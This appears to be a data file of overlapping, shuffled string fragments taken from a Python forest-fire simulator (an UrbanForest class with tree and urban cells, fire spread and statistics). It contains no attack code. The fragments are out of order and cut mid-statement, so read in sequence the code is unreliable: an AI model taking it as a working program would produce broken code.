"1 self.stats_trees[1] += 1 elif isinstance(self.group[p], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] += 1",
"dc) in deltas: r, c = r_center+dr, c_center+dc self.fires.append((r, c)) self.group[(r, c)].set_on_fire() if",
"no healthy Trees have a neighbor that is on fire self.early_end = True",
"self.stats_urban[0] -= 1 self.stats_urban[1] += 1 self.iter += 1 if not self.fires: self.early_end",
"= defaultdict(lambda: np.exp(-1/10)) if beta is None else beta self.rng = rng self.random_state",
"urban elements compose the right-most edge of the lattice if c >= self.dims[1]-self.urban_width:",
"= True # list of (row, col) positions corresponding to elements caught on",
"if self.group[u].is_healthy(self.group[u].state): self.group[u].next(self.group, control[u], self.random_state) if self.group[u].is_removed(self.group[u].next_state): self.stats_urban[0] -= 1 self.stats_urban[3] += 1",
"= [] self.urban_width = urban_width # the forest is a group of Trees",
"c)) # all other elements are trees else: self.group[(r, c)] = Tree(self.alpha[(r, c)],",
"= False # calculate next state self.group[fn].next(self.group, control[fn], self.random_state) if self.group[fn].is_on_fire(self.group[fn].next_state): add.append(fn) checked.append(fn)",
"3)] deltas = itertools.product(delta_r, delta_c) for (dr, dc) in deltas: r, c =",
"trees else: self.group[(r, c)] = Tree(self.alpha[(r, c)], self.beta[(r, c)], position=np.array([r, c]), numeric_id=r*self.dims[1]+c, model=tree_model)",
"start initial fire self.iter = 0 self.fires = [] self.initial_fire = initial_fire self._start_fire()",
"delta_r = [0] if self.dims[0]<4 else [k for k in range(-1, 3)] delta_c",
"self.stats_trees[0] += self.dims[0]*self.dims[1] - len(self.urban) self.stats_urban = np.zeros(4).astype(np.int) self.stats_urban[0] += len(self.urban) # reset",
"# reset elements for element in self.group.values(): element.reset() # reset to initial condition",
"neighbors that are healthy, and sample # to determine if the healthy element",
"False self.early_end = False return def dense_state(self): \"\"\" Creates a representation of the",
"self.stats_trees[1] += 1 elif isinstance(self.group[a], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] += 1 self.iter",
"# fire spreading check: # iterate over current fires, find their neighbors that",
"where each position (row, col) corresponds to a Tree state \"\"\" return np.array([[self.group[(r,",
"4x4 square of fires at center # if forest size is too small,",
"c in range(self.dims[1])] for r in range(self.dims[0])]) def update(self, control=None): \"\"\" Update the",
"of (delta_alpha, delta_beta) \"\"\" if self.end: print(\"fire extinguished\") return if control is None:",
"to elements caught on fire this time step add = [] # list",
"for each Element, which is a tuple of (delta_alpha, delta_beta) \"\"\" if self.end:",
"for fn in self.group[f].neighbors: if fn not in checked and self.group[fn].is_healthy(self.group[fn].state): if isinstance(self.group[fn],",
"is too small, start a single fire at the center r_center = np.floor((self.dims[0]-1)/2).astype(np.uint8)",
"1 return # start a 4x4 square of fires at center # if",
"0.2) if alpha is None else alpha self.beta = defaultdict(lambda: np.exp(-1/10)) if beta",
"== 'exponential': self.alpha = defaultdict(lambda: 0.2763) if alpha is None else alpha elif",
"self.dims[1]<4 else [k for k in range(-1, 3)] deltas = itertools.product(delta_r, delta_c) for",
"= self.initial_fire for p in self.initial_fire: self.group[p].set_on_fire() if isinstance(self.group[p], Tree): self.stats_trees[0] -= 1",
"to all elements for element in self.group.values(): element.update() # retain elements that are",
"initial fire self.iter = 0 self.fires = [] self.initial_fire = initial_fire self._start_fire() self.early_end",
"state of each Tree. :return: 2D numpy array where each position (row, col)",
"= np.floor((self.dims[0]-1)/2).astype(np.uint8) c_center = np.floor((self.dims[1]-1)/2).astype(np.uint8) delta_r = [0] if self.dims[0]<4 else [k for",
"= np.zeros(3).astype(np.int) self.stats_trees[0] += self.dims[0]*self.dims[1] - len(self.urban) self.stats_urban = np.zeros(4).astype(np.int) self.stats_urban[0] += len(self.urban)",
"fire at the center r_center = np.floor((self.dims[0]-1)/2).astype(np.uint8) c_center = np.floor((self.dims[1]-1)/2).astype(np.uint8) delta_r = [0]",
"= r_center+dr, c_center+dc self.fires.append((r, c)) self.group[(r, c)].set_on_fire() if isinstance(self.group[(r, c)], Tree): self.stats_trees[0] -=",
"forest with urban elements. Based on the LatticeForest simulator. \"\"\" def __init__(self, dimension,",
"from simulators.Simulator import Simulator class UrbanForest(Simulator): \"\"\" A simulator for a lattice-based forest",
"import itertools import numpy as np from simulators.fires.ForestElements import Tree, SimpleUrban from simulators.Simulator",
"start a 4x4 square of fires at center # if forest size is",
"self.group[p].set_on_fire() if isinstance(self.group[p], Tree): self.stats_trees[0] -= 1 self.stats_trees[1] += 1 elif isinstance(self.group[p], SimpleUrban):",
"self.fires = self.initial_fire for p in self.initial_fire: self.group[p].set_on_fire() if isinstance(self.group[p], Tree): self.stats_trees[0] -=",
"a in add: if isinstance(self.group[a], Tree): self.stats_trees[0] -= 1 self.stats_trees[1] += 1 elif",
"self.stats_urban = np.zeros(4).astype(np.int) self.stats_urban[0] += len(self.urban) # reset elements for element in self.group.values():",
"corresponds to a Tree state \"\"\" return np.array([[self.group[(r, c)].state for c in range(self.dims[1])]",
"else: self.group[(r, c)] = Tree(self.alpha[(r, c)], self.beta[(r, c)], position=np.array([r, c]), numeric_id=r*self.dims[1]+c, model=tree_model) if",
"range(self.dims[1]): # urban elements compose the right-most edge of the lattice if c",
"Element, which is a tuple of (delta_alpha, delta_beta) \"\"\" if self.end: print(\"fire extinguished\")",
"time step add = [] # list of (row, col) positions corresponding to",
"for c in range(self.dims[1])] for r in range(self.dims[0])]) def update(self, control=None): \"\"\" Update",
"0 self.fires = [] self._start_fire() self.random_state = np.random.RandomState(self.rng) self.end = False self.early_end =",
"fires, find their neighbors that are healthy, and sample # to determine if",
"# if forest size is too small, start a single fire at the",
"c in range(self.dims[1]): # urban elements compose the right-most edge of the lattice",
"on fire checked = [] # calculate next state for urban elements not",
"and SimpleUrban elements self.group = dict() for r in range(self.dims[0]): for c in",
"apply initial condition if specified if self.initial_fire is not None: self.fires = self.initial_fire",
"np.zeros(3).astype(np.int) self.stats_trees[0] += self.dims[0]*self.dims[1] - len(self.urban) self.stats_urban = np.zeros(4).astype(np.int) self.stats_urban[0] += len(self.urban) #",
"self.beta[(r, c)], position=np.array([r, c]), numeric_id=r*self.dims[1]+c) self.urban.append((r, c)) # all other elements are trees",
"on fire will extinguish this time step self.group[f].next(self.group, control[f], self.random_state) if self.group[f].is_burnt(self.group[f].next_state): if",
"c)) if 0 <= r-1 < self.dims[0]: self.group[(r, c)].neighbors.append((r-1, c)) if 0 <=",
"add elements that caught on fire self.fires.extend(add) for a in add: if isinstance(self.group[a],",
"positions corresponding to healthy elements that have been sampled to determine # if",
"urban_width, rng=None, initial_fire=None, alpha=None, beta=None, tree_model='exponential'): # LatticeForest.__init__(self, dimension, rng=rng, initial_fire=initial_fire, # alpha=alpha,",
"r in range(self.dims[0]): for c in range(self.dims[1]): # urban elements compose the right-most",
"1 self.stats_urban[2] += 1 # apply next state to all elements for element",
"tree_model == 'linear': self.alpha = defaultdict(lambda: 0.2) if alpha is None else alpha",
"else beta self.rng = rng self.random_state = np.random.RandomState(self.rng) self.urban = [] self.urban_width =",
"that have been sampled to determine # if they will catch on fire",
"in self.urban: if self.group[u].is_healthy(self.group[u].state): self.group[u].next(self.group, control[u], self.random_state) if self.group[u].is_removed(self.group[u].next_state): self.stats_urban[0] -= 1 self.stats_urban[3]",
"# iterate over current fires, find their neighbors that are healthy, and sample",
"+= 1 if not self.fires: self.early_end = True self.end = True return return",
"for f in self.fires: for fn in self.group[f].neighbors: if fn not in checked",
"elements that have been sampled to determine # if they will catch on",
"# add elements that caught on fire self.fires.extend(add) for a in add: if",
"a group of Trees and SimpleUrban elements self.group = dict() for r in",
"if forest size is too small, start a single fire at the center",
"+= 1 elif isinstance(self.group[p], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] += 1 return #",
"the forest is a group of Trees and SimpleUrban elements self.group = dict()",
"return def reset(self): \"\"\" Reset the simulation object to its initial configuration. \"\"\"",
"return np.array([[self.group[(r, c)].state for c in range(self.dims[1])] for r in range(self.dims[0])]) def update(self,",
"c+1)) if 0 <= c-1 < self.dims[1]: self.group[(r, c)].neighbors.append((r, c-1)) self.stats_trees = np.zeros(3).astype(np.int)",
"is None else alpha elif tree_model == 'linear': self.alpha = defaultdict(lambda: 0.2) if",
"else [k for k in range(-1, 3)] deltas = itertools.product(delta_r, delta_c) for (dr,",
"at the center r_center = np.floor((self.dims[0]-1)/2).astype(np.uint8) c_center = np.floor((self.dims[1]-1)/2).astype(np.uint8) delta_r = [0] if",
"alpha is None else alpha elif tree_model == 'linear': self.alpha = defaultdict(lambda: 0.2)",
"Helper method to specify initial fire locations in the forest. \"\"\" # apply",
"numeric_id=r*self.dims[1]+c) self.urban.append((r, c)) # all other elements are trees else: self.group[(r, c)] =",
"rng self.random_state = np.random.RandomState(self.rng) self.urban = [] self.urban_width = urban_width # the forest",
"\"\"\" # apply initial condition if specified if self.initial_fire is not None: self.fires",
"to determine if the healthy element catches on fire for f in self.fires:",
"a lattice-based forest with urban elements. Based on the LatticeForest simulator. \"\"\" def",
"initial fire locations in the forest. \"\"\" # apply initial condition if specified",
"square of fires at center # if forest size is too small, start",
"determine if the healthy element catches on fire for f in self.fires: for",
"self.urban: if self.group[u].is_healthy(self.group[u].state): self.group[u].next(self.group, control[u], self.random_state) if self.group[u].is_removed(self.group[u].next_state): self.stats_urban[0] -= 1 self.stats_urban[3] +=",
"import Simulator class UrbanForest(Simulator): \"\"\" A simulator for a lattice-based forest with urban",
"[] # calculate next state for urban elements not on fire, in case",
"specify initial fire locations in the forest. \"\"\" # apply initial condition if",
"dimension if tree_model == 'exponential': self.alpha = defaultdict(lambda: 0.2763) if alpha is None",
"initial condition if specified if self.initial_fire is not None: self.fires = self.initial_fire for",
"= [] self._start_fire() self.random_state = np.random.RandomState(self.rng) self.end = False self.early_end = False return",
"= False self.early_end = False return def dense_state(self): \"\"\" Creates a representation of",
"[k for k in range(-1, 3)] delta_c = [0] if self.dims[1]<4 else [k",
"self.stats_urban[0] += len(self.urban) # reset elements for element in self.group.values(): element.reset() # reset",
"self.stats_urban[0] -= 1 self.stats_urban[1] += 1 return # start a 4x4 square of",
"self.iter = 0 self.fires = [] self.initial_fire = initial_fire self._start_fire() self.early_end = False",
"if beta is None else beta self.rng = rng self.random_state = np.random.RandomState(self.rng) self.urban",
"= urban_width # the forest is a group of Trees and SimpleUrban elements",
"elif isinstance(self.group[p], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] += 1 return # start a",
"of the lattice if c >= self.dims[1]-self.urban_width: self.group[(r, c)] = SimpleUrban(self.alpha[(r, c)], self.beta[(r,",
"alpha is None else alpha self.beta = defaultdict(lambda: np.exp(-1/10)) if beta is None",
"state \"\"\" return np.array([[self.group[(r, c)].state for c in range(self.dims[1])] for r in range(self.dims[0])])",
"with urban elements. Based on the LatticeForest simulator. \"\"\" def __init__(self, dimension, urban_width,",
"the lattice do_not_check = [] for u in self.urban: if self.group[u].is_healthy(self.group[u].state): self.group[u].next(self.group, control[u],",
"that are healthy, and sample # to determine if the healthy element catches",
"are healthy, and sample # to determine if the healthy element catches on",
"for a in add: if isinstance(self.group[a], Tree): self.stats_trees[0] -= 1 self.stats_trees[1] += 1",
"r, c = r_center+dr, c_center+dc self.fires.append((r, c)) self.group[(r, c)].set_on_fire() if isinstance(self.group[(r, c)], Tree):",
"# apply next state to all elements for element in self.group.values(): element.update() #",
"self.urban.append((r, c)) # all other elements are trees else: self.group[(r, c)] = Tree(self.alpha[(r,",
"and fn in do_not_check: continue self.early_end = False # calculate next state self.group[fn].next(self.group,",
"len(self.urban) # start initial fire self.iter = 0 self.fires = [] self.initial_fire =",
"reset statistics self.stats_trees = np.zeros(3).astype(np.int) self.stats_trees[0] += self.dims[0]*self.dims[1] - len(self.urban) self.stats_urban = np.zeros(4).astype(np.int)",
"that is on fire self.early_end = True # list of (row, col) positions",
"self.stats_urban[1] += 1 self.iter += 1 if not self.fires: self.early_end = True self.end",
"in do_not_check: continue self.early_end = False # calculate next state self.group[fn].next(self.group, control[fn], self.random_state)",
"self.dims[0]<4 else [k for k in range(-1, 3)] delta_c = [0] if self.dims[1]<4",
"defaultdict(lambda: 0.2) if alpha is None else alpha self.beta = defaultdict(lambda: np.exp(-1/10)) if",
"c)) self.group[(r, c)].set_on_fire() if isinstance(self.group[(r, c)], Tree): self.stats_trees[0] -= 1 self.stats_trees[1] += 1",
"of fires at center # if forest size is too small, start a",
"checked.append(fn) # determine if the current element on fire will extinguish this time",
"self.group[f].is_on_fire(self.group[f].state)] # add elements that caught on fire self.fires.extend(add) for a in add:",
"self.dims[0]: self.group[(r, c)].neighbors.append((r+1, c)) if 0 <= r-1 < self.dims[0]: self.group[(r, c)].neighbors.append((r-1, c))",
"range(self.dims[1])] for r in range(self.dims[0])]) def update(self, control=None): \"\"\" Update the simulator one",
"simulators.fires.ForestElements import Tree, SimpleUrban from simulators.Simulator import Simulator class UrbanForest(Simulator): \"\"\" A simulator",
"# calculate next state self.group[fn].next(self.group, control[fn], self.random_state) if self.group[fn].is_on_fire(self.group[fn].next_state): add.append(fn) checked.append(fn) # determine",
"simulator for a lattice-based forest with urban elements. Based on the LatticeForest simulator.",
"0 <= r-1 < self.dims[0]: self.group[(r, c)].neighbors.append((r-1, c)) if 0 <= c+1 <",
"rng=rng, initial_fire=initial_fire, # alpha=alpha, beta=beta, tree_model=tree_model) Simulator.__init__(self) self.dims = (dimension, dimension) if isinstance(dimension,",
"spreading check: # iterate over current fires, find their neighbors that are healthy,",
"element in self.group.values(): element.update() # retain elements that are still on fire self.fires",
"self.fires = [] self.initial_fire = initial_fire self._start_fire() self.early_end = False self.end = False",
"if isinstance(dimension, int) else dimension if tree_model == 'exponential': self.alpha = defaultdict(lambda: 0.2763)",
"[0] if self.dims[0]<4 else [k for k in range(-1, 3)] delta_c = [0]",
"its initial configuration. \"\"\" # reset statistics self.stats_trees = np.zeros(3).astype(np.int) self.stats_trees[0] += self.dims[0]*self.dims[1]",
"add.append(fn) checked.append(fn) # determine if the current element on fire will extinguish this",
"a tuple of (delta_alpha, delta_beta) \"\"\" if self.end: print(\"fire extinguished\") return if control",
"import Tree, SimpleUrban from simulators.Simulator import Simulator class UrbanForest(Simulator): \"\"\" A simulator for",
"if 0 <= r+1 < self.dims[0]: self.group[(r, c)].neighbors.append((r+1, c)) if 0 <= r-1",
"np.random.RandomState(self.rng) self.end = False self.early_end = False return def dense_state(self): \"\"\" Creates a",
"import numpy as np from simulators.fires.ForestElements import Tree, SimpleUrban from simulators.Simulator import Simulator",
"elements caught on fire this time step add = [] # list of",
"range(-1, 3)] deltas = itertools.product(delta_r, delta_c) for (dr, dc) in deltas: r, c",
"+= 1 do_not_check.append(u) # fire spreading check: # iterate over current fires, find",
"still on fire self.fires = [f for f in self.fires if self.group[f].is_on_fire(self.group[f].state)] #",
"alpha=alpha, beta=beta, tree_model=tree_model) Simulator.__init__(self) self.dims = (dimension, dimension) if isinstance(dimension, int) else dimension",
"1 do_not_check.append(u) # fire spreading check: # iterate over current fires, find their",
"c_center+dc self.fires.append((r, c)) self.group[(r, c)].set_on_fire() if isinstance(self.group[(r, c)], Tree): self.stats_trees[0] -= 1 self.stats_trees[1]",
"of each Tree. :return: 2D numpy array where each position (row, col) corresponds",
"isinstance(self.group[p], Tree): self.stats_trees[0] -= 1 self.stats_trees[1] += 1 elif isinstance(self.group[p], SimpleUrban): self.stats_urban[0] -=",
"self.iter = 0 self.fires = [] self._start_fire() self.random_state = np.random.RandomState(self.rng) self.end = False",
"lattice do_not_check = [] for u in self.urban: if self.group[u].is_healthy(self.group[u].state): self.group[u].next(self.group, control[u], self.random_state)",
"self.end = False return def _start_fire(self): \"\"\" Helper method to specify initial fire",
"self.early_end = False self.end = False return def _start_fire(self): \"\"\" Helper method to",
"self.group[u].is_healthy(self.group[u].state): self.group[u].next(self.group, control[u], self.random_state) if self.group[u].is_removed(self.group[u].next_state): self.stats_urban[0] -= 1 self.stats_urban[3] += 1 do_not_check.append(u)",
"fire self.early_end = True # list of (row, col) positions corresponding to elements",
"state self.group[fn].next(self.group, control[fn], self.random_state) if self.group[fn].is_on_fire(self.group[fn].next_state): add.append(fn) checked.append(fn) # determine if the current",
"self.group[f].next(self.group, control[f], self.random_state) if self.group[f].is_burnt(self.group[f].next_state): if isinstance(self.group[f], Tree): self.stats_trees[1] -= 1 self.stats_trees[2] +=",
"of the state of each Tree. :return: 2D numpy array where each position",
"+= len(self.urban) # start initial fire self.iter = 0 self.fires = [] self.initial_fire",
"defaultdict import itertools import numpy as np from simulators.fires.ForestElements import Tree, SimpleUrban from",
"isinstance(self.group[a], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] += 1 self.iter += 1 if not",
"elif isinstance(self.group[a], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] += 1 self.iter += 1 if",
"_start_fire(self): \"\"\" Helper method to specify initial fire locations in the forest. \"\"\"",
"isinstance(self.group[f], SimpleUrban): self.stats_urban[1] -= 1 self.stats_urban[2] += 1 # apply next state to",
"self.alpha = defaultdict(lambda: 0.2) if alpha is None else alpha self.beta = defaultdict(lambda:",
"initial_fire self._start_fire() self.early_end = False self.end = False return def _start_fire(self): \"\"\" Helper",
"self._start_fire() self.early_end = False self.end = False return def _start_fire(self): \"\"\" Helper method",
"sampled to determine # if they will catch on fire checked = []",
"else alpha self.beta = defaultdict(lambda: np.exp(-1/10)) if beta is None else beta self.rng",
"np.zeros(4).astype(np.int) self.stats_urban[0] += len(self.urban) # reset elements for element in self.group.values(): element.reset() #",
"itertools import numpy as np from simulators.fires.ForestElements import Tree, SimpleUrban from simulators.Simulator import",
"r-1 < self.dims[0]: self.group[(r, c)].neighbors.append((r-1, c)) if 0 <= c+1 < self.dims[1]: self.group[(r,",
"self.group[(r, c)].neighbors.append((r-1, c)) if 0 <= c+1 < self.dims[1]: self.group[(r, c)].neighbors.append((r, c+1)) if",
"\"\"\" # reset statistics self.stats_trees = np.zeros(3).astype(np.int) self.stats_trees[0] += self.dims[0]*self.dims[1] - len(self.urban) self.stats_urban",
"object to its initial configuration. \"\"\" # reset statistics self.stats_trees = np.zeros(3).astype(np.int) self.stats_trees[0]",
"each Element, which is a tuple of (delta_alpha, delta_beta) \"\"\" if self.end: print(\"fire",
"step, # which occurs when no healthy Trees have a neighbor that is",
"self.group[fn].next(self.group, control[fn], self.random_state) if self.group[fn].is_on_fire(self.group[fn].next_state): add.append(fn) checked.append(fn) # determine if the current element",
"if self.group[fn].is_on_fire(self.group[fn].next_state): add.append(fn) checked.append(fn) # determine if the current element on fire will",
"the center r_center = np.floor((self.dims[0]-1)/2).astype(np.uint8) c_center = np.floor((self.dims[1]-1)/2).astype(np.uint8) delta_r = [0] if self.dims[0]<4",
"2D numpy array where each position (row, col) corresponds to a Tree state",
"reset elements for element in self.group.values(): element.reset() # reset to initial condition self.iter",
"numpy as np from simulators.fires.ForestElements import Tree, SimpleUrban from simulators.Simulator import Simulator class",
"on fire self.fires.extend(add) for a in add: if isinstance(self.group[a], Tree): self.stats_trees[0] -= 1",
"SimpleUrban): self.stats_urban[1] -= 1 self.stats_urban[2] += 1 # apply next state to all",
"compose the right-most edge of the lattice if c >= self.dims[1]-self.urban_width: self.group[(r, c)]",
"beta=None, tree_model='exponential'): # LatticeForest.__init__(self, dimension, rng=rng, initial_fire=initial_fire, # alpha=alpha, beta=beta, tree_model=tree_model) Simulator.__init__(self) self.dims",
"self.stats_urban[1] += 1 return # start a 4x4 square of fires at center",
"further this step, # which occurs when no healthy Trees have a neighbor",
"(dimension, dimension) if isinstance(dimension, int) else dimension if tree_model == 'exponential': self.alpha =",
"self.group[u].is_removed(self.group[u].next_state): self.stats_urban[0] -= 1 self.stats_urban[3] += 1 do_not_check.append(u) # fire spreading check: #",
"int) else dimension if tree_model == 'exponential': self.alpha = defaultdict(lambda: 0.2763) if alpha",
"not on fire, in case they are removed from the lattice do_not_check =",
"model=tree_model) if 0 <= r+1 < self.dims[0]: self.group[(r, c)].neighbors.append((r+1, c)) if 0 <=",
"calculate next state for urban elements not on fire, in case they are",
"self.alpha = defaultdict(lambda: 0.2763) if alpha is None else alpha elif tree_model ==",
"of Trees and SimpleUrban elements self.group = dict() for r in range(self.dims[0]): for",
"- len(self.urban) self.stats_urban = np.zeros(4).astype(np.int) self.stats_urban[0] += len(self.urban) # reset elements for element",
"0.2763) if alpha is None else alpha elif tree_model == 'linear': self.alpha =",
"in self.fires if self.group[f].is_on_fire(self.group[f].state)] # add elements that caught on fire self.fires.extend(add) for",
"is not None: self.fires = self.initial_fire for p in self.initial_fire: self.group[p].set_on_fire() if isinstance(self.group[p],",
"element.reset() # reset to initial condition self.iter = 0 self.fires = [] self._start_fire()",
"f in self.fires: for fn in self.group[f].neighbors: if fn not in checked and",
"simulators.Simulator import Simulator class UrbanForest(Simulator): \"\"\" A simulator for a lattice-based forest with",
"len(self.urban) # reset elements for element in self.group.values(): element.reset() # reset to initial",
"statistics self.stats_trees = np.zeros(3).astype(np.int) self.stats_trees[0] += self.dims[0]*self.dims[1] - len(self.urban) self.stats_urban = np.zeros(4).astype(np.int) self.stats_urban[0]",
"do_not_check.append(u) # fire spreading check: # iterate over current fires, find their neighbors",
"is a tuple of (delta_alpha, delta_beta) \"\"\" if self.end: print(\"fire extinguished\") return if",
"in range(self.dims[1]): # urban elements compose the right-most edge of the lattice if",
"# reset statistics self.stats_trees = np.zeros(3).astype(np.int) self.stats_trees[0] += self.dims[0]*self.dims[1] - len(self.urban) self.stats_urban =",
"reset(self): \"\"\" Reset the simulation object to its initial configuration. \"\"\" # reset",
"time step. :param control: collection to map (row, col) to control for each",
"-= 1 self.stats_trees[1] += 1 elif isinstance(self.group[p], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] +=",
"center r_center = np.floor((self.dims[0]-1)/2).astype(np.uint8) c_center = np.floor((self.dims[1]-1)/2).astype(np.uint8) delta_r = [0] if self.dims[0]<4 else",
"= np.random.RandomState(self.rng) self.end = False self.early_end = False return def dense_state(self): \"\"\" Creates",
"c)], self.beta[(r, c)], position=np.array([r, c]), numeric_id=r*self.dims[1]+c) self.urban.append((r, c)) # all other elements are",
"self.urban = [] self.urban_width = urban_width # the forest is a group of",
"initial condition self.iter = 0 self.fires = [] self._start_fire() self.random_state = np.random.RandomState(self.rng) self.end",
"return def dense_state(self): \"\"\" Creates a representation of the state of each Tree.",
"corresponding to healthy elements that have been sampled to determine # if they",
"small, start a single fire at the center r_center = np.floor((self.dims[0]-1)/2).astype(np.uint8) c_center =",
"forest. \"\"\" # apply initial condition if specified if self.initial_fire is not None:",
"self.initial_fire is not None: self.fires = self.initial_fire for p in self.initial_fire: self.group[p].set_on_fire() if",
"(delta_alpha, delta_beta) \"\"\" if self.end: print(\"fire extinguished\") return if control is None: control",
"from the lattice do_not_check = [] for u in self.urban: if self.group[u].is_healthy(self.group[u].state): self.group[u].next(self.group,",
"isinstance(self.group[f], Tree): self.stats_trees[1] -= 1 self.stats_trees[2] += 1 elif isinstance(self.group[f], SimpleUrban): self.stats_urban[1] -=",
"self.group[f].neighbors: if fn not in checked and self.group[fn].is_healthy(self.group[fn].state): if isinstance(self.group[fn], SimpleUrban) and fn",
"find their neighbors that are healthy, and sample # to determine if the",
"-= 1 self.stats_urban[1] += 1 return # start a 4x4 square of fires",
"def reset(self): \"\"\" Reset the simulation object to its initial configuration. \"\"\" #",
"fire self.iter = 0 self.fires = [] self.initial_fire = initial_fire self._start_fire() self.early_end =",
"for (dr, dc) in deltas: r, c = r_center+dr, c_center+dc self.fires.append((r, c)) self.group[(r,",
"[] self._start_fire() self.random_state = np.random.RandomState(self.rng) self.end = False self.early_end = False return def",
"self.stats_urban[0] += len(self.urban) # start initial fire self.iter = 0 self.fires = []",
"representation of the state of each Tree. :return: 2D numpy array where each",
"# calculate next state for urban elements not on fire, in case they",
"simulator one time step. :param control: collection to map (row, col) to control",
"locations in the forest. \"\"\" # apply initial condition if specified if self.initial_fire",
"lattice-based forest with urban elements. Based on the LatticeForest simulator. \"\"\" def __init__(self,",
"else dimension if tree_model == 'exponential': self.alpha = defaultdict(lambda: 0.2763) if alpha is",
"are removed from the lattice do_not_check = [] for u in self.urban: if",
"current element on fire will extinguish this time step self.group[f].next(self.group, control[f], self.random_state) if",
"for c in range(self.dims[1]): # urban elements compose the right-most edge of the",
"for k in range(-1, 3)] deltas = itertools.product(delta_r, delta_c) for (dr, dc) in",
"[0] if self.dims[1]<4 else [k for k in range(-1, 3)] deltas = itertools.product(delta_r,",
"= False return def _start_fire(self): \"\"\" Helper method to specify initial fire locations",
"class UrbanForest(Simulator): \"\"\" A simulator for a lattice-based forest with urban elements. Based",
"SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] += 1 return def reset(self): \"\"\" Reset the",
"if self.group[u].is_removed(self.group[u].next_state): self.stats_urban[0] -= 1 self.stats_urban[3] += 1 do_not_check.append(u) # fire spreading check:",
"len(self.urban) self.stats_urban = np.zeros(4).astype(np.int) self.stats_urban[0] += len(self.urban) # start initial fire self.iter =",
"caught on fire self.fires.extend(add) for a in add: if isinstance(self.group[a], Tree): self.stats_trees[0] -=",
"self.stats_urban[3] += 1 do_not_check.append(u) # fire spreading check: # iterate over current fires,",
"self.iter += 1 if not self.fires: self.early_end = True self.end = True return",
"- len(self.urban) self.stats_urban = np.zeros(4).astype(np.int) self.stats_urban[0] += len(self.urban) # start initial fire self.iter",
"# alpha=alpha, beta=beta, tree_model=tree_model) Simulator.__init__(self) self.dims = (dimension, dimension) if isinstance(dimension, int) else",
"healthy, and sample # to determine if the healthy element catches on fire",
"+= 1 return def reset(self): \"\"\" Reset the simulation object to its initial",
"# if they will catch on fire checked = [] # calculate next",
"= [0] if self.dims[0]<4 else [k for k in range(-1, 3)] delta_c =",
"corresponding to elements caught on fire this time step add = [] #",
"which occurs when no healthy Trees have a neighbor that is on fire",
"apply next state to all elements for element in self.group.values(): element.update() # retain",
"self.stats_trees[1] += 1 elif isinstance(self.group[p], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] += 1 return",
"do_not_check: continue self.early_end = False # calculate next state self.group[fn].next(self.group, control[fn], self.random_state) if",
"# start initial fire self.iter = 0 self.fires = [] self.initial_fire = initial_fire",
"+= len(self.urban) # reset elements for element in self.group.values(): element.reset() # reset to",
"1 self.stats_urban[1] += 1 self.iter += 1 if not self.fires: self.early_end = True",
"healthy Trees have a neighbor that is on fire self.early_end = True #",
"if 0 <= c-1 < self.dims[1]: self.group[(r, c)].neighbors.append((r, c-1)) self.stats_trees = np.zeros(3).astype(np.int) self.stats_trees[0]",
"elements not on fire, in case they are removed from the lattice do_not_check",
"check: # iterate over current fires, find their neighbors that are healthy, and",
"+= self.dims[0]*self.dims[1] - len(self.urban) self.stats_urban = np.zeros(4).astype(np.int) self.stats_urban[0] += len(self.urban) # start initial",
"return if control is None: control = defaultdict(lambda: (0, 0)) # assume that",
"def dense_state(self): \"\"\" Creates a representation of the state of each Tree. :return:",
"self.group[(r, c)] = SimpleUrban(self.alpha[(r, c)], self.beta[(r, c)], position=np.array([r, c]), numeric_id=r*self.dims[1]+c) self.urban.append((r, c)) #",
"c)], position=np.array([r, c]), numeric_id=r*self.dims[1]+c, model=tree_model) if 0 <= r+1 < self.dims[0]: self.group[(r, c)].neighbors.append((r+1,",
"at center # if forest size is too small, start a single fire",
"in self.initial_fire: self.group[p].set_on_fire() if isinstance(self.group[p], Tree): self.stats_trees[0] -= 1 self.stats_trees[1] += 1 elif",
"Tree state \"\"\" return np.array([[self.group[(r, c)].state for c in range(self.dims[1])] for r in",
"self.stats_trees[0] -= 1 self.stats_trees[1] += 1 elif isinstance(self.group[a], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1]",
"delta_c = [0] if self.dims[1]<4 else [k for k in range(-1, 3)] deltas",
"in add: if isinstance(self.group[a], Tree): self.stats_trees[0] -= 1 self.stats_trees[1] += 1 elif isinstance(self.group[a],",
"and self.group[fn].is_healthy(self.group[fn].state): if isinstance(self.group[fn], SimpleUrban) and fn in do_not_check: continue self.early_end = False",
"SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] += 1 self.iter += 1 if not self.fires:",
"a Tree state \"\"\" return np.array([[self.group[(r, c)].state for c in range(self.dims[1])] for r",
"list of (row, col) positions corresponding to healthy elements that have been sampled",
"if self.initial_fire is not None: self.fires = self.initial_fire for p in self.initial_fire: self.group[p].set_on_fire()",
"if isinstance(self.group[p], Tree): self.stats_trees[0] -= 1 self.stats_trees[1] += 1 elif isinstance(self.group[p], SimpleUrban): self.stats_urban[0]",
"too small, start a single fire at the center r_center = np.floor((self.dims[0]-1)/2).astype(np.uint8) c_center",
"np.array([[self.group[(r, c)].state for c in range(self.dims[1])] for r in range(self.dims[0])]) def update(self, control=None):",
"spread further this step, # which occurs when no healthy Trees have a",
"neighbor that is on fire self.early_end = True # list of (row, col)",
"for r in range(self.dims[0])]) def update(self, control=None): \"\"\" Update the simulator one time",
"iterate over current fires, find their neighbors that are healthy, and sample #",
"if c >= self.dims[1]-self.urban_width: self.group[(r, c)] = SimpleUrban(self.alpha[(r, c)], self.beta[(r, c)], position=np.array([r, c]),",
"0 <= c-1 < self.dims[1]: self.group[(r, c)].neighbors.append((r, c-1)) self.stats_trees = np.zeros(3).astype(np.int) self.stats_trees[0] +=",
"c)], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] += 1 return def reset(self): \"\"\" Reset",
"the right-most edge of the lattice if c >= self.dims[1]-self.urban_width: self.group[(r, c)] =",
"c)) if 0 <= c+1 < self.dims[1]: self.group[(r, c)].neighbors.append((r, c+1)) if 0 <=",
